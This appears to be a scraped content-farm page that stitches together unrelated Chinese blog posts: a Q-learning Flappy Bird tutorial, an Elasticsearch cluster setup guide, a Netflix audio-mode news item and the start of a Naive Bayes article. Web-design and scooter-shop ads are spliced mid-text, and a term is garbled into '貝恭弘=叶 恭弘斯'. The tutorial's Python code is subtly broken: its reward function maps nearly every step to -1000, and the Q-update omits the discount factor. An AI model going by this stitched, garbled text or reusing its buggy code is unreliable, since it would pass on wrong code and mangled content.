DQN(Deep Q-learning)入門教程(四)之Q-learning Play Flappy Bird_網頁設計公司

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

在上一篇博客中,我們詳細的對Q-learning的算法流程進行了介紹。同時我們使用了\(\epsilon-貪婪法\)防止陷入局部最優。

那麼我們可以想一下,最後我們得到的結果是什麼樣的呢?因為我們考慮到了所有的(\(\epsilon-貪婪法\)導致的)情況,因此最終我們將會得到一張如下的Q-Table表。

Q-Table \(a_1\) \(a_2\)
\(s_1\) \(q(s_1,a_1)\) \(q(s_1,a_2)\)
\(s_2\) \(q(s_2,a_1)\) \(q(s_2,a_2)\)
\(s_3\) \(q(s_3,a_1)\) \(q(s_3,a_2)\)

當agent運行到某一個場景\(s\)時,會去查詢已經訓練好的Q-Table,然後從中選擇一個最大的\(q\)對應的action。

訓練內容

這一次,我們將對Flappy-bird遊戲進行訓練。這個遊戲的介紹我就不多說了,可以看一下維基百科的介紹。

遊戲就是控制一隻穿越管道,然後可以獲得分數,對於小鳥來說,他只有兩個動作,跳or不跳,而我們的目標就是使小鳥穿越管道獲得更多的分數。

前置準備

因為我們的目標是來學習“強化學習”的,所以我們不可能說自己去弄一個Flappy-bird(當然自己弄也可以),這裏我們直接使用一個已經寫好的Flappy-bird。

PyGame-Learning-Environment,是一個Python的強化學習環境,簡稱PLE,下面時他Github上面的介紹:

PyGame Learning Environment (PLE) is a learning environment, mimicking the Arcade Learning Environment interface, allowing a quick start to Reinforcement Learning in Python. The goal of PLE is allow practitioners to focus design of models and experiments instead of environment design.

PLE hopes to eventually build an expansive library of games.

然後關於FlappyBird的文檔介紹在這裏,文檔的介紹還是蠻清楚的。安裝步驟如下所示,推薦在Pipenv的環境下安裝,不過你也可以直接clone我的代碼然後然後根據reademe的步驟進行使用。

git clone https://github.com/ntasfi/PyGame-Learning-Environment.git
cd PyGame-Learning-Environment/
pip install -e .

需要的庫如下:

  • pygame
  • numpy
  • pillow

函數說明

在官方文檔有幾個的函數在這裏說下,因為等下我們需要用到。

  • getGameState():獲得遊戲當前的狀態,返回值為一個字典:

    1. player y position.
    2. players velocity.
    3. next pipe distance to player
    4. next pipe top y position
    5. next pipe bottom y position
    6. next next pipe distance to player
    7. next next pipe top y position
    8. next next pipe bottom y position

    部分數據表示如下:

  • reset_game():重新開始遊戲

  • act(action):在遊戲中執行一個動作,參數為動作,返回執行后的分數。

  • game_over():假如遊戲結束,則返回True,否者返回False。

  • getActionSet():獲得遊戲的動作集合。

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

我們的窗體大小默認是288*512,其中鳥的速度在-20到10之間(最小速度我並不知道,但是經過觀察,並沒有小於-20的情況,而最大的速度在源代碼裏面已經說明好了為10)

Coding Time

在前面我們說,通過getGameState()函數,我們可以獲得幾個關於環境的數據,在這裏我們選擇如下的數據:

  • next_pipe_dist_to_player:
  • player_y與next_pipe_top_y的差值
  • 的速度

但是我們可以想一想,next_pipe_dist_to_player一共會有多少種的取值:因為窗體大小為288*512,則取值的範圍大約是0~288,也就是說它大約有288個取值,而關於player_y與next_pipe_top_y的差值,則大概有1024個取值。這樣很難讓模型收斂,因此我們將數值進行簡化。其中簡化的思路來自:GitHub

首先我們創建一個Agent類,然後逐漸向裏面添加功能。

class Agent():

    def __init__(self, action_space):
        # 獲得遊戲支持的動作集合
        self.action_set = action_space

        # 創建q-table
        self.q_table = np.zeros((6, 6, 6, 2))

        # 學習率
        self.alpha = 0.7
        # 勵衰減因子
        self.gamma = 0.8
        # 貪婪率
        self.greedy = 0.8

至於為什麼q-table的大小是(6,6,6,2),其中的3個6分別代表next_pipe_dist_to_playerplayer_y與next_pipe_top_y的差值的速度,其中的2代表動作的個數。也就是說,表格中的state一共有$6 \times6 \times 6 $種,表格的大小為\(6 \times6 \times 6 \times 2\)

縮小狀態值的範圍

我們定義一個函數get_state(s),這個函數專門提取遊戲中的狀態,然後返回進行簡化的狀態數據:

    def get_state(self, state):
        """
        提取遊戲state中我們需要的數據
        :param state: 遊戲state
        :return: 返回提取好的數據
        """
        return_state = np.zeros((3,), dtype=int)
        dist_to_pipe_horz = state["next_pipe_dist_to_player"]
        dist_to_pipe_bottom = state["player_y"] - state["next_pipe_top_y"]
        velocity = state['player_vel']
        if velocity < -15:
            velocity_category = 0
        elif velocity < -10:
            velocity_category = 1
        elif velocity < -5:
            velocity_category = 2
        elif velocity < 0:
            velocity_category = 3
        elif velocity < 5:
            velocity_category = 4
        else:
            velocity_category = 5

        if dist_to_pipe_bottom < 8:  # very close or less than 0
            height_category = 0
        elif dist_to_pipe_bottom < 20:  # close
            height_category = 1
        elif dist_to_pipe_bottom < 50:  # not close
            height_category = 2
        elif dist_to_pipe_bottom < 125:  # mid
            height_category = 3
        elif dist_to_pipe_bottom < 250:  # far
            height_category = 4
        else:
            height_category = 5

        # make a distance category
        if dist_to_pipe_horz < 8:  # very close
            dist_category = 0
        elif dist_to_pipe_horz < 20:  # close
            dist_category = 1
        elif dist_to_pipe_horz < 50:  # not close
            dist_category = 2
        elif dist_to_pipe_horz < 125:  # mid
            dist_category = 3
        elif dist_to_pipe_horz < 250:  # far
            dist_category = 4
        else:
            dist_category = 5

        return_state[0] = height_category
        return_state[1] = dist_category
        return_state[2] = velocity_category
        return return_state

更新Q-table

更新的數學公式如下:

\[{\displaystyle Q^{new}(s_{t},a_{t})\leftarrow \underbrace {Q(s_{t},a_{t})} _{\text{舊的值}}+\underbrace {\alpha } _{\text{學習率}}\cdot \overbrace {{\bigg (}\underbrace {\underbrace {r_{t}} _{\text{獎勵}}+\underbrace {\gamma } _{\text{獎勵衰減因子}}\cdot \underbrace {\max _{a}Q(s_{t+1},a)} _{\text{estimate of optimal future value}}} _{\text{new value (temporal difference target)}}-\underbrace {Q(s_{t},a_{t})} _{\text{舊的值}}{\bigg )}} ^{\text{temporal difference}}} \]

下面是更新Q-table的函數代碼:

def update_q_table(self, old_state, current_action, next_state, r):
    """

    :param old_state: 執行動作前的狀態
    :param current_action: 執行的動作
    :param next_state: 執行動作后的狀態
    :param r: 獎勵
    :return:
    """
    next_max_value = np.max(self.q_table[next_state[0], next_state[1], next_state[2]])

    self.q_table[old_state[0], old_state[1], old_state[2], current_action] = (1 - self.alpha) * self.q_table[
        old_state[0], old_state[1], old_state[2], current_action] + self.alpha * (r + next_max_value)

選擇最佳的動作

然後我們就是根據q-table對應的Q值選擇最大的那一個,其中第一個代表(也就是0)跳躍,第2個代表不執行任何操作。

選擇的示意圖如下:

代碼如下所示:

def get_best_action(self, state, greedy=False):
    """
    獲得最佳的動作
    :param state: 狀態
    :是否使用ϵ-貪婪法
    :return: 最佳動作
    """
	
    # 獲得q值
    jump = self.q_table[state[0], state[1], state[2], 0]
    no_jump = self.q_table[state[0], state[1], state[2], 1]
    # 是否執行策略
    if greedy:
        if np.random.rand(1) < self.greedy:
            return np.random.choice([0, 1])
        else:
            if jump > no_jump:
                return 0
            else:
                return 1
    else:
        if jump > no_jump:
            return 0
        else:
            return 1

更新\(\epsilon\)

這個比較簡單,從前面的博客中,我們知道\(\epsilon\)是隨着訓練次數的增加而減少的,有很多種策略可以選擇,這裏乘以\(0.95\)吧。

def update_greedy(self):
    self.greedy *= 0.95

執行動作

在官方文檔中,如果小鳥沒有死亡獎勵為0,越過一個管道,獎勵為1,死亡獎勵為-1,我們稍微的對其進行改變:

def act(self, p, action):
    """
    執行動作
    :param p: 通過p來向遊戲發出動作命令
    :param action: 動作
    :return: 獎勵
    """
    # action_set表示遊戲動作集(119,None),其中119代表跳躍
    r = p.act(self.action_set[action])
    if r == 0:
        r = 1
    if r == 1:
        r = 10
    else:
        r = -1000
    return r

main函數

最後我們就可以執行main函數了。

if __name__ == "__main__":
    # 訓練次數
    episodes = 2000_000000
    # 實例化遊戲對象
    game = FlappyBird()
    # 類似遊戲的一個接口,可以為我們提供一些功能
    p = PLE(game, fps=30, display_screen=False)
    # 初始化
    p.init()
    # 實例化Agent,將動作集傳進去
    agent = Agent(p.getActionSet())
    max_score = 0
	
    for episode in range(episodes):
        # 重置遊戲
        p.reset_game()
        # 獲得狀態
        state = agent.get_state(game.getGameState())
        agent.update_greedy()
        while True:
            # 獲得最佳動作
            action = agent.get_best_action(state)
            # 然後執行動作獲得獎勵
            reward = agent.act(p, action)
            # 獲得執行動作之後的狀態
            next_state = agent.get_state(game.getGameState())
            # 更新q-table
            agent.update_q_table(state, action, next_state, reward)
            # 獲得當前分數
            current_score = p.score()
            state = next_state
            if p.game_over():
                max_score = max(current_score, max_score)
                print('Episodes: %s, Current score: %s, Max score: %s' % (episode, current_score, max_score))
                # 保存q-table
                if current_score > 300:
                    np.save("{}_{}.npy".format(current_score, episode), agent.q_table)
                break

部分的訓練的結果如下:

總結

emm,說實話,我也不知道結果會怎麼樣,因為訓練的時間比較長,我不想放在我的電腦上面跑,然後我就放在樹莓派上面跑,但是樹莓派性能比較低,導致訓練的速度比較慢。但是,我還是覺得我的方法有點問題,get_state()函數中簡化的方法,我感覺不是特別的合理,如果各位有好的看法,可以在評論區留言哦,然後共同學習。

項目地址:https://github.com/xiaohuiduan/flappy-bird-q-learning

參考

  • Use reinforcement learning to train a flappy bird NEVER to die
  • PyGame-Learning-Environment
  • https://github.com/BujuNB/Flappy-Brid-RL

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

Elasticsearch系列—生產集群部署(上)_網頁設計公司

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!

概要

本篇開始介紹Elasticsearch生產集群的搭建及相關參數的配置。

ES集群的硬件特性

我們從開始編程就接觸過各種各樣的組件,而每種功能的組件,對硬件要求的特性都不太相同,有的需要很強的CPU計算能力,有的對內存需求量大,有的對網卡要求高等待,下面我們討論一下ES集群對幾種硬件的特性需求。

CPU

ES集群對CPU的要求相對低一些,畢竟純計算的比重要小一些,選用主流的CPU,2核到8核的都可以。

如果有兩種CPU可以挑選,一種是主頻高但核數少的CPU,另一種是主頻一般核數多的CPU,肯定選后一種,因為多核的CPU可以提供更多的併發處理能力,遠比單核高性能帶來的效益要高。

內存

ES集群對內存的要求很高,部署ES集群時,要把大部分資源投入到內存當中。內存分配主要有兩部分,JVM heap內存(堆內存)和OS Cache內存。

JVM heap內存用得不多,主要是OS Cache,我們知道,ES建立的倒排索引,正排索引,過濾器緩存,都是優先放在內存當中的,OS Cache的大小直接決定搜索的性能,如果OS Cache不夠,ES搜索等操作只有被迫讀硬盤,延時就會從毫秒級升到秒級。

OS Cache具體在多大才算夠,取決於數據量,如果是百萬級別的數據,16GB左右應該可以接受,如果是億級,一般單節點都是64GB內存。生產環境最低要求內存應不低於8GB。

硬盤

硬盤成本本身比較便宜,能用SSD就用SSD,訪問速度肯定比机械硬盤快,預估好數據量后就盡可能多規劃一些容量。

另外盡量使用本地存儲,網絡存儲還依賴於網絡傳輸,這個容易造成一些延遲。

網絡

對ES集群這種分佈式系統來說,快速並且可靠的網絡還是比較重要的,shard的分配和rebalance都需要佔用大量的帶寬,集群最好部署在同一個局域網內,異地容災等跨數據中心的部署方案,要考慮到網絡故障帶來的影響。

JVM選擇

使用ES官網推薦的JDK版本,服務端和客戶端盡量使用同一個版本的JDK。

涉及到ES服務端的JVM調優設置,保持原樣不要輕易改動,畢竟ES已經花了大量人力物力驗證過的,隨意調整jvm參數可能適得其反。

容量規劃

規劃集群里,要規劃好投入幾台服務器,數據量上限是多少,業務模型數據讀寫的比例是多少,歷史數據的遷移方案等,一般來說,百萬到10億內的數據量,使用ES集群還是能夠支撐下來的,ES節點數建議不要超過100個。

舉個例子:數據量10億以內,部署5台服務器,8核64GB內存,是能夠支撐的。

生產案例模擬

Linux操作系統搭建

我們使用Linux虛擬機來演示一個生產ES集群的搭建。我們創建4台虛擬機,每台2核CPU,4GB內存,操作系統為CentOS 7 64bit。

虛擬機我用的是VMware workstation,有用virtual box也行,CentOS 7、JDK的安裝不贅述。記得把CentOS的防火牆關了。

修改每台機器的hostname信息,命令
vi /etc/hostname,修改文件,保存即可,建議修改成elasticsearch01,elasticsearch02,elasticsearch03,elasticsearch04。

假定我們4台虛擬機的域名和IP是這樣分配的:

192.168.17.138 elasticsearch01
192.168.17.137 elasticsearch02
192.168.17.132 elasticsearch03
192.168.17.139 elasticsearch04

把這段配置放在 /etc/hosts文件末尾,4台機器做相同的配置。

這4台機器之間,可以配置免密登錄,如在elasticsearch01機器上,我們執行以下操作:

  1. 生成公鑰文件,命令:
ssh-keygen -t rsa

一直輸入回車,不要設置密碼默認會將公鑰放在/root/.ssh目錄下生成id_rsa.pub和id_rsa兩個文件

  1. 拷貝公鑰文件
cp id_rsa.pub authorized_keys
  1. 將公鑰文件拷貝到另外三台機器
ssh-copy-id -i elasticsearch02
ssh-copy-id -i elasticsearch03
ssh-copy-id -i elasticsearch03

拷貝完成后,可以在目標機器上/root/.ssh/目錄下看到多了一個authorized_keys文件。

  1. 嘗試免密登錄,在elasticsearch01機器上輸入ssh elasticsearch02,如果不需要輸入密碼就能登錄到elasticsearch02,說明配置成功,其他機器類似。

這4台機器也可以相互做ssh免密設置。

這裏補充一點免密登錄的方向性問題,上面的案例是在elasticsearch01機器生成的公鑰,並且發送給了elasticsearch02等三台機器,那麼我從elasticsearch01跳到elasticsearch02是不需要密碼的,反過來從elasticsearch02登錄到elasticsearch01,還是需要密碼的。

最後補充幾個常用檢查命令:

  • 檢查NetManager的狀態:systemctl status NetworkManager.service
  • 檢查NetManager管理的網絡接口:nmcli dev status
  • 檢查NetManager管理的網絡連接:nmcli connection show

Elasticsearch服務端

這裏選用的JDK版本為1.8.0_211,Elasticsearch版本為6.3.1,自行安裝不贅述。

ES解壓后的目錄結構:

# 用 "tree -L 1" 命令得到的樹狀結構
.
├── bin
├── config
├── lib
├── LICENSE.txt
├── logs
├── modules
├── NOTICE.txt
├── plugins
└── README.textile
  • bin:存放es的一些可執行腳本,比如用於啟動進程的elasticsearch命令,以及用於安裝插件的elasticsearch-plugin插件
  • config:用於存放es的配置文件,比如elasticsearch.yml
  • logs:用於存放es的日誌文件
  • plugins:用於存放es的插件
  • data:用於存放es的數據文件的默認目錄,就是每個索引的shard的數據文件,一般會另外指定一個目錄。

Elasticsearch參數設置

在config目錄下的文件,包含了ES的基本配置信息:

.
├── elasticsearch.yml
├── jvm.options
├── log4j2.properties
├── role_mapping.yml
├── roles.yml
├── users
└── users_roles

默認參數

Elasticsearch的配置項比較豐富並且默認配置已經非常優秀了,基本上我們需要改動的是跟服務器環境相關的配置,如IP地址,集群名稱,數據存儲位置,日誌存儲位置等外圍參數,涉及到內部機制及JVM參數的,一般不干預,不恰當的JVM參數調整反而會導致集群出現性能故障,如果沒有充足的理由或數據驗證結果,不要輕易嘗試修改。

集群和節點名稱

在elasticsearch.yml文件里這項配置表示集群名稱,配置項默認是註釋掉的,集群名稱默認為elasticsearch。

#cluster.name: my-application

這個配置項強烈建議打開,用項目約定的命名規範進行重命名,並且將研發環境、測試環境、STG准生產環境、生產環境分別命名,如elasticsearch_music_app_dev表示研發環境,elasticsearch_music_app_sit表示測試環境,elasticsearch_music_app_pro表示生產環境等。避免開發測試環境連錯環境,無意中加入集群導致數據問題。

cluster.name: elasticsearch_music_app_pro

節點名稱的配置項

#node.name: node-1

默認也是註釋掉的,ES啟動時會分配一個隨機的名稱,建議還是自行分配一個名稱,這樣容易記住是哪台機器,如

node.name: es_node_001_data

文件路徑

涉及到文件路徑的幾個參數,主要有數據、日誌、插件等,默認這幾個地址都是在Elasticsearch安裝的根目錄下,但Elasticsearch升級時,有些目錄可能會有影響,安全起見,可以單獨設置目錄。

#
# ----------------------------------- Paths ------------------------------------
#
# Path to directory where to store the data (separate multiple locations by comma):
#
#path.data: /path/to/data
#
# Path to log files:
#
#path.logs: /path/to/logs
#

例如我們可以在/var目錄下創建相應的文件夾,並且賦予相應的讀寫權限,如:

path.data: /var/es/data
path.logs: /var/es/logs

日誌文件配置

log4j2.properties文件,ES日誌框架選用的是log4j2,也就是log4j的進化版本,對Java技術棧熟悉的童鞋,看到這個配置文件會非常熟悉,默認的日誌輸入配置、格式均能滿足日常的故障定位和分析,也不需要什麼改動。

默認是一天生成一個日期文件,如果ES承載的數據量特別大,可以調整日誌文件產生頻率和每個日誌文件的大小,以及ES最多存儲日誌的大小、數量。

Elasticsearch集群發現機制

配置參數

Zen Discovery是Elasticsearch集群發現機制的默認實現,底層通信依賴transport組件,我們完成Elasticsearch集群的配置主要有下面幾個參數:

  • cluster.name 指定集群的名稱。
  • node.name 節點名稱。
  • network.host 節點綁定的IP。
  • node.master 可選值為true/false,決定該節點類型為master eligible或data node。
  • discovery.zen.ping.unicast.hosts gossip路由服務的IP地址,即集群發現協議通信的公共節點,可以寫多個,有節點啟動時會向裏面的IP發送消息,獲取集群其他節點的信息,最後加入集群。

Elasticsearch集群是點對點(P2P)的分佈式系統架構,數據索引、搜索操作是node之間直接通信的,沒有中心式的master節點,但Elasticsearch集群內的節點也分成master node和data node兩種角色。

正常情況下,Elasticsearch集群只有一個master節點,它負責維護整個集群的狀態信息,集群的元數據信息,有新的node加入或集群內node宕機下線時,重新分配shard,並同步node的狀態信息給所有的node節點,這樣所有的node節點都有一份完整的cluster state信息。

集群發現的一般步驟如下:

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

  1. 節點配置network.host綁定內網地址,配置各自的node.name信息,cluster.name設置為相同的值。
  2. discovery.zen.ping.unicast.hosts配置了幾個gossip路由的node。
  3. 所有node都可以發送ping消息到路由node,再從路由node獲取cluster state回來。
  4. 所有node執行master選舉。
  5. 所有node都會跟master進行通信,然後加入master的集群。

master選舉

node.master設置為true的,將成為master eligible node,也叫master候選節點,只有master eligible node才能被選舉成master node。如果是個小集群,那麼所有節點都可以是master eligible node,10個節點以上的集群,可以考慮拆分master node和data node,一般建議master eligible node給3個即可。

master選舉過程是自動完成的,有幾個參數可以影響選舉的過程:

  • discovery.zen.ping_timeout: 選舉超時時間,默認3秒,網絡狀況不好時可以增加超時時間。

  • discovery.zen.join_timeout: 有新的node加入集群時,會發送一個join request到master node,同樣因為網絡原因可以調大,如果一次超時,默認最多重試20次。

  • discovery.zen.master_election.ignore_non_master_pings:如果master node意外宕機了,集群進行重新選舉,如果此值為true,那麼只有master eligible node才有資格被選為master。

  • discovery.zen.minimum_master_nodes: 新選舉master時,要求必須有多少個 master eligible node去連接那個新選舉的master。而且還用於設置一個集群中必須擁有的master eligible node。如果這些要求沒有被滿足,那麼master node就會被停止,然後會重新選舉一個新的master。這個參數必須設置為我們的master eligible node的quorum數量。一般避免說只有兩個master eligible node,因為2的quorum還是2。如果在那個情況下,任何一個master候選節點宕機了,集群就無法正常運作了。

集群故障探查

有兩種集群故障探查機制

  1. master主動對集群中所有的其他node發起ping命令,判斷它們是否是存活着的。
  2. 每個node向master node發送ping請求,判斷master node是否存活,否則就會發起一個選舉過程。

有下面三個參數用來配置集群故障的探查過程:

  • ping_interval:ping一次node的間隔時間,默認是1s
  • ping_timeout:每次ping的timeout等待時長,默認是30s
  • ping_retries:對node的ping請求失敗了,重試次數,默認3次。

集群狀態更新

master node是集群中唯一可以對cluster state進行更新的node。更新的步驟如下:

  1. master node收到更新事件,如shard移動,可能會有多條事件,但master node一次只處理一個集群狀態的更新事件。
  2. master node將事件更新到本地,併發布publish message到集群所有的node上。
  3. node接收publish message后,對這個message返回ack響應,但是不會立即更新。
  4. 如果master沒有在指定的時間內(discovery.zen.commit_timeout配置項,默認是30s),從至少N個節點(discovery.zen.minimum_master_nodes配置項)獲取ack響應,那麼這次cluster state change事件就會被reject,最終不會被提交。
  5. 如果在指定時間內,指定數量的node都返回了ack消息,那麼cluster state就會被commit,然後master node把 commit message發送給所有的node。所有的node接收到那個commit message之後,接着才會將之前接收到的集群狀態應用到自己本地的狀態副本中去。
  6. master會等待所有node的commit message 的ack消息,在一個等待超時時長內,如果接收到了響應,表示狀態更新成功,master node繼續處理內存queue中保存的下一個更新事件。

discovery.zen.publish_timeout默認是30s,這個超時等待時長是從plublish cluster state開始計算的。

我們可以參照此圖:

master node宕機問題

Elasticsearch集群中,master node扮演着非常重要的角色,如果master node宕機了,那豈不是群龍無首了?雖然有master選舉,但這個也是要時間的,沒有master node那段空檔期集群該怎麼辦?

說了一半,基本上是完了,但我們也可以設置,群龍無首時哪些操作可以做,哪些操作不能做。

discovery.zen.no_master_block配置項可以控制在群龍無首時的策略:

  • all: 一旦master宕機,那麼所有的操作都會被拒絕。
  • write:默認的選項,所有寫操作都會被拒絕,但是讀操作是被允許的。

split-brain(腦分裂問題)

在Elasticsearch集群中,master node非常重要,並且只有一個,相當於整個集群的大腦,控制將整個集群狀態的更新,如果Elasticsearch集群節點之間出現區域性的網絡中斷,比如10個節點的Elasticsearch集群,4台node部署在機房A區,6台node部署在機房B區,如果A區與B區的交換機故障,導致兩個區隔離開來了,那麼沒有master node的那個區,會觸發master選舉,如果選舉了新的master,那麼整個集群就會出現兩個master node,這種現象叫做腦分裂。

這樣現象很嚴重,會破壞集群的數據,該如何避免呢?

回到我們前面提到的discovery.zen.minimum_master_nodes參數,這個值的正確設置,可以避免上述的腦分裂問題。

discovery.zen.minimum_master_nodes參數表示至少需要多少個master eligible node,才可以成功地選舉出master,否則不進行選舉。

足夠的master eligible node計算公式:

quorum = master_eligible_nodes / 2 + 1

如上圖我們10個node的集群,如果全部是master eligible node,那麼quorum = 10/2 + 1 = 6。

如果我們有3個master eligible node,7個data node,那麼quorum = 3/2 + 1 = 2。

如果集群只有2個節點,並且全是master eligible node,那麼quorum = 2/2 + 1 = 2,問題就來了,如果隨便一個node宕機,在只剩下一個node情況下,無法滿足quorum的值,master永遠選舉不成功,集群就徹底無法寫入了,所以只能設置成1,後果是只要這兩個node之間網絡斷了,就會發生腦分裂的現象。

所以一個Elasticsearch集群至少得有3個node,全部為master eligible node的話,quorum = 3/2 + 1 = 2。如果我們設置minimum_master_nodes=2,分析一下會不會出現腦分裂的問題。

場景一:A區一個node,為master,B區兩個node,為master eligible node

A區因為只剩下一個node,無法滿足quorum的條件,此時master取消當前的master角色,且無法選舉成功。

B區兩個master eligible node,滿足quorum條件,成功選舉出master。

此時集群還是只有一個master,待網絡故障恢復后,集群數據正常。

場景二:A區一個node,為master eligible node,B區2個node,其中一個是master

A區只有一個master eligible node,不滿足quorum的條件,無法進行選舉。

B區原本的master存在,不需要進行選舉,並且滿quorum的條件,master角色可以保留。

此時集群還是一個master,正常。

綜上所述:3個節點的集群,全部為master eligible node,配置discovery.zen.minimum_master_nodes: 2,就可以避免腦裂問題的產生。

minimum_master_nodes動態修改

因為集群是可以動態增加和下線節點的,quorum的值也會跟着改變。minimum_master_nodes參數值需要通過api隨時修改的,特別是在節點上線和下線的時候,都需要作出對應的修改。而且一旦修改過後,這個配置就會持久化保存下來。

修改api請求如下:

PUT /_cluster/settings
{
    "persistent" : {
        "discovery.zen.minimum_master_nodes" : 2
    }
}

響應報文:

{
  "acknowledged": true,
  "persistent": {
    "discovery": {
      "zen": {
        "minimum_master_nodes": "2"
      }
    }
  },
  "transient": {}
}

也可以通過命令查詢當前的配置:

GET /_cluster/settings

響應結果如下:

{
  "persistent": {
    "discovery": {
      "zen": {
        "minimum_master_nodes": "1"
      }
    }
  },
  "transient": {}
}
留一個問題

上圖10個節點的集群,假設全是master eligible node,按照上述的網絡故障,會不會出現腦分裂現象 ?配置項minimum_master_nodes最低要配置成多少,才不會出現腦分裂的問題?

小結

本篇主要介紹了Elasticsearch集群的部署和參數設置等知識,大部分都不需要人工干預,默認值已經是最優選,集群發現機制和master選舉機制了解一下就OK。

專註Java高併發、分佈式架構,更多技術乾貨分享與心得,請關注公眾號:Java架構社區
可以掃左邊二維碼添加好友,邀請你加入Java架構社區微信群共同探討技術

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

Netflix 正在悄悄向部分Android 版用戶推出音訊播放模式_網頁設計公司

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

節能減碳愛地球是景泰電動車的理念,是創立景泰電動車行的初衷,滿意態度更是服務客戶的最高品質,我們的成長來自於你的推薦。

有些時候,你會不會只想聽電影或電視節目的音訊而不想看影片?有些節目確實用聽的就好,Netflix 想要覆蓋全部用戶所希望的功能,如果你是一個 Android 裝置的用戶,那你可得好好期待一下。已經有用戶發現自己的應用程式中出現了音訊播放的選項,下次去跑步時就聽著你最愛的影集吧!

Netflix 正在悄悄向部分Android 版用戶推出音訊播放模式

早在今年 10 月間,XDA Developer 就已經在 Android 應用程式中發現了音訊模式的蹤跡,只是當時設定中的該選項併不能使用,而現在 Netflix 似乎開始正式推出這項功能供用戶選擇。據國外媒體 Android Police 報導,這項功能出現在應用程式版本 7.84.1 build 28 35243 中,當你獲得該功能並且於設定中啟用它後,當影片全螢幕播放時,你會看到一個新的影片關閉按鈕,只要啟動音訊模式,Netflix 用戶將能在不看影片的情況下單純聆聽喜愛的節目、影集與電影。

▲圖片來源:Android Police

在介面上你還是可以看到熟悉的控制項,包含改變播放的速度、倒帶、快轉、暫停等,與看影片時的體驗一模一樣,只是少了影像而已。對於某些行動網路沒有辦理吃到飽方案的人,又或是網路費用較高的國家來說,光只有音訊播放可以節省下一些網路流量。你可以把它想像成就像在聽 Podcast,但又不太一樣,對於很多電影與節目來說,影像對整體來說並不是關鍵,特別像是家庭情境喜劇、脫口秀、記錄片之類的節目。

▲圖片來源:Android Police

對於提供線上串流影片服務來說,很多人會覺得光只有聲音這點怪怪的,但有時一卯起來看就是會讓人欲罷不能,音訊模式在家裡可能比較沒有意義,但在通勤途中或當作工作時的背景噪音就會很實用。

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

透過選單樣式的調整、圖片的縮放比例、文字的放大及段落的排版對應來給使用者最佳的瀏覽體驗,所以不用擔心有手機版網站兩個後台的問題,而視覺效果也是透過我們前端設計師優秀的空間比例設計,不會因為畫面變大變小而影響到整體視覺的美感。

◎資料來源:Android Police、

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

搬家費用:依消費者運送距離、搬運樓層、有無電梯、步行距離、特殊地形、超重物品等計價因素後,評估每車次單

04_樸素貝恭弘=叶 恭弘斯算法_網頁設計公司

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

  今天是2020年2月4日星期二,全國確診人數達到了20471例,確診人數從一萬例到兩萬例,只用了三天啊,疫情比想象的嚴重的多啊。影響程度早早超過了非典,普天盛世之下的堂堂中華,也會爆出如此疫情,人類還是弱小,微生物才是地球的主宰啊。

  看了一下樸素貝恭弘=叶 恭弘斯算法,這次的深入學習,發現了許多之前學習忽略的地方,在這裏先簡單敘述下感想。看了很多資料講樸素貝恭弘=叶 恭弘斯是生成模型,那就有必要和判別模型做一下對比,通常說判別模型,它是通過“輸入特徵x”直接學習“輸出y”,也就是直接學習輸出y和特徵x之間的映射關係。比如說判斷來診人員A是否需要輸液,k近鄰算法僅僅根據來診人員A的輸入特徵和哪幾個最近鄰節點的特徵相似,直接多數表決判斷A的類別是否需要輸液。(這裏用k近鄰算法作為例子,有點不妥,因為k近鄰沒有顯式的學習過程,決策樹章節再分析這個問題)。

  樸素貝恭弘=叶 恭弘斯作為生成模型的代表,需要先找到輸入特徵x與輸出y的聯合概率分佈,也就是生成一對數據(x,y)的方式。再計算y在輸入特徵x的條件下的出現概率,比較不同類別y的大小,哪個類別的y大,未知數據就屬於哪個類別。這裏首先要解決聯合概率分佈是什麼,接下來是條件分佈,最後執果索因是什麼,也就是怎樣理解結果對原因產生影響,解決了這三個問題,相信就能夠對生成模型,有一個大概的了解。

  在正式開始吃李航老師的書本內容前,先解決一下概率知識上的盲點。這部分內容僅作參考,因為概率課是水過的…數學二也沒有考概率,只是在學習機器學習前簡單看了下概率…

  我們用P(A)記為事件A發生的概率,P(A∩B)記為事件A和事件B同時發生的概率,稱為聯合概率,P(A|B)記為在事件B發生的前提下,事件A發生的條件概率。這裏的事件A和B不一定具有因果或者先後序列關係。通常我們在描述某個事件發生的概率的時候,其實總是默認了該事件所在的樣本空間,現在我們需要重新理解一下這個概念,樣本空間是一個實驗或隨機試驗所有可能結果的集合(樣本空間的任何一個子集都被稱為一個事件)。我們說P(A)是事件A發生的概率,不能離開事件A所處的樣本空間,如維恩圖中藍色框部分,事件A的概率P(A)其實是指在樣本空間Ω中,事件A部分佔樣本空間Ω的比率。

